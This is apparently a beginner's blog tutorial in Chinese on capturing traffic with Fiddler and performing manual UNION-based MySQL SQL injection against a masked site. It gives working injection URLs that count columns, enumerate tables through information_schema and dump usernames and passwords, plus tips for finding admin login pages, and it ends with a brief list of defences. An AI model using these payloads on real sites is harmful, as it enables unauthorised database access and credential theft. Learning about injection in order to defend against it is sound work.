[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包

這是最近學習滲透和網站攻防的基礎性文章，前面文章從資料庫原理解讀了防止SQL隱碼攻擊、SQLMAP的基礎用法、資料庫差異備份、Caidao神器。這篇文章將詳細講解MySQL資料庫攻防知識，有點類似第一篇文章，然後其核心是解決區域性重新整理資料的思想，並通過Fiddler神器分析資料包的方法。

希望自己能深入地學習這部分知識，作為一個初學者，在探索網路攻防和滲透的路上還很長。同時，希望文章對你有所幫助，尤其是學習網路安全的初學者，錯誤或不足之處還請海涵~

    一.Fiddler神器基礎用法&區域性重新整理問題
        1.什麼是Fiddler
        2.Fiddler基礎用法
        3.區域性重新整理問題
    二.Fiddler分析MySQL資料庫
        1.Fiddler分析介面
        2.資料庫如何判斷欄位總數 order by
        3.資料庫獲取顯示位 union
        4.資料庫顯示應資料 database()
        5.資料庫獲取所有資料庫名 information_schema
        5.資料庫獲取表名及列名 table_name
        6.資料庫獲取登入表欄位 columns 
        7.資料庫返回使用者名稱和密碼 
        8.登入系統
    三.資料庫防禦措施
 
   
前文欣賞：
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器

一. Fiddler神器基礎用法&區域性重新整理問題

作者最早接觸Fiddler，是身邊一個大神，通過Fiddler+C#自制抓取Ipad遊戲資料做外掛，讓自己的人物總能撿到好裝備，十分之崇拜，後悔沒跟著他學習下。現在準備好好研究下它吧，希望文章也對你有所幫助。

首先作者簡單介紹什麼是Fiddler及基礎功能，這裡引用ohmygirl大神的文章部分內容。
    【HTTP】Fiddler（一） - Fiddler簡介
該文章簡單易懂，推薦大家閱讀。

1.什麼是Fiddler

Fiddler是位於客戶端和伺服器端的HTTP代理，也是目前最常用的http抓包工具之一 。 它能夠記錄客戶端和伺服器之間的所有 HTTP請求，可以針對特定的HTTP請求，分析請求資料、設定斷點、除錯web應用、修改請求的資料，甚至可以修改伺服器返回的資料，功能非常強大，是web除錯的利器。

2.Fiddler基礎用法

執行主介面如下所示：

主介面中主要包括四個常用的塊：
(1) Fiddler選單欄
頂部為選單欄，包括捕獲http請求，停止捕獲請求，儲存http請求，載入本地session、設定捕獲規則等功能。

(2) Fiddler工具欄
選單欄下來是一行工具欄，包括Fiddler針對當前view的操作（暫停、清除session、decode模式、清除快取等）。

(3) Web Session皮膚
左邊部分位Web Session皮膚，主要是Fiddler抓取到的每條http請求（每一條稱為一個session），主要包含了請求的url、協議、狀態碼、body等資訊。其中常見狀態碼為：
    200--成功，伺服器成功處理請求且響應已成功接收。
    301--請求的URL
    400--壞請求。當目的伺服器接收到請求但不理解細節所以無法處理時發生。
    404--頁面找不到。如果目標API已移動或已更新但未保留向後相容性時發生。
    500--內部伺服器錯誤。伺服器端發生了某種致命錯誤，且錯誤並被服務提供商捕獲。
詳細的欄位含義如下圖所示：

下面的例項主要應用的就是Inspectors皮膚下的Raw模組。

3.區域性重新整理問題

在網站開發過程中，區域性重新整理是常見又實用的功能，區域性重新整理通過可以呼叫iframe、ajax等技術實現。下面是我們團隊設計的區域性重新整理介面。

二. Fiddler分析MySQL資料庫

1.Fiddler分析介面

首先，開啟Fiddler後在Web session皮膚按住Ctrl+A，選中所有介面後點選Delete刪除。因為它是實時捕獲資訊的，先刪除該頁面。

  

2.資料庫如何判斷欄位總數 order by

Inspectors頁面Raw進行編輯URL
(1) GET http://xxxxx/prefix/CN')+order+by+1# HTTP/1.1   (正常顯示)
對應的MySQL語句：
select .... from table where area=('cn') order by 1 # and xxxx;
按照1個欄位進行排序，正常顯示錶示該URL對應的SQL語句至少一個欄位。

注意：CN後面的 ') 用單引號+括號匹配結束該字元，同時Fiddler加號連線URL，而第一篇文章 "一.從資料庫原理學習網路攻防及防止SQL隱碼攻擊" URL是空格連線的。最後的#表示在MySQL中註釋包括#和--，這裡--報錯，而#成功訪問，如下圖所示。

重點：欄位共8個。

3.資料庫獲取顯示位 union

在得到欄位個數後，需要獲取欄位位置，則使用union或union all。其中union表示將兩個select結果整體顯示，併合並相同的結果，union all顯示全部結果。例如：

4.資料庫顯示應資料 database()

(1) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,database(),7,8# HTTP/1.1 
對應的SQL語句：
select .... from table where area=('cn') 
union select 1,2,3,4,5,database(),7,8  # and xxxx;
MySQL資料庫中database()用於獲取資料庫的內容，version()用於獲取當前資料庫版本號內容。如下當前資料庫為20170720df。

查詢的結果如下所示，資料庫為mfa。

那麼怎麼獲取資料庫所有的資料庫名呢？
作者最早想到的是SQL語句：
select table_name from information_schema.tables;
該語句反饋整個資料庫系統中，所有的表名，如下所示：

mysql安裝成功後可以看到已經存在mysql、information_schema和test這個幾個資料庫
information_schema庫中有一個名為COLUMNS的表，這個表中記錄了資料庫中所有表的欄位資訊。
知道這個表後，獲取任意表的欄位就只需要一條select語句即可。如：

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';   

6.資料庫獲取表名及列名 table_name

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    information_schema.tables+where+table_schema=database()# HTTP/1.1 
對應的MySQL語句，table_name、tables表示表名：
select group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地資料庫測試如下圖所示，輸出結果包括該各個表名。

重點：登陸表users

7.資料庫獲取登入表欄位 columns

獲取登入表的欄位，使用SQL語句：
select group_concat(distinct+column_name) from 
information_schema.columns where table_name='users';
本地資料庫執行結果如下所示：

8.資料庫返回使用者名稱和密碼 

(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
    select+1,2,3,4,5,group_concat(distinct+username,0x2b,
    password,0x2b,vozrast),7,8+from+users# HTTP/1.1 
對應的MySQL語句，table_name、tables表示表名：
select group_concat(distinct+username,0x2b,password,0x2b,vozrast) from users;
點選"Run to completion"按鈕輸出結果如下圖所示，0x2b表示加號，如果獲取更多使用者名稱和密碼，你可以自己思考下？

9.登入系統

登入怎麼找到登入頁面呢？照網站後臺的方法：
方法一：一定用谷歌搜尋，admin、login、system、manage、user等關鍵詞；
方法二：配置檔案robots.txt，網頁連結等；
方法三：掃描目錄，通過一些工具。

三. 資料庫防禦措施

真正的困難在於如何找到一個存在漏洞的網站，如何去防護。現在很多網站都應做好相關防禦措施，手工SQL隱碼攻擊是沒有反應的，但是找到漏洞後，再利用SQLMAP就能夠找到相應的使用者名稱和密碼。

參考前文，個人理解的防禦措施：

    1.在URL設定不允許非法字元，如單引號、等號、註釋--、減號，提示非法引數；
    2.在URL設定不允許SQL常見的關鍵詞，如and、select、or、insert等；
    3.傳遞的id=115引數必須為數字才能正常跳轉，否則跳轉錯誤；
    4.伺服器啟用SQL隱碼攻擊攔截功能，提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字元而被防火牆攔截，因為可能通過POST、Cookies進行攻擊，各方面都需要做到防禦。
    5.可以使用js在客戶端進行不安全字元遮蔽，也可以在jsp中呼叫該函式檢查是否包函非法字元，或使用正規表示式過濾傳入的引數，防止SQL從URL注入。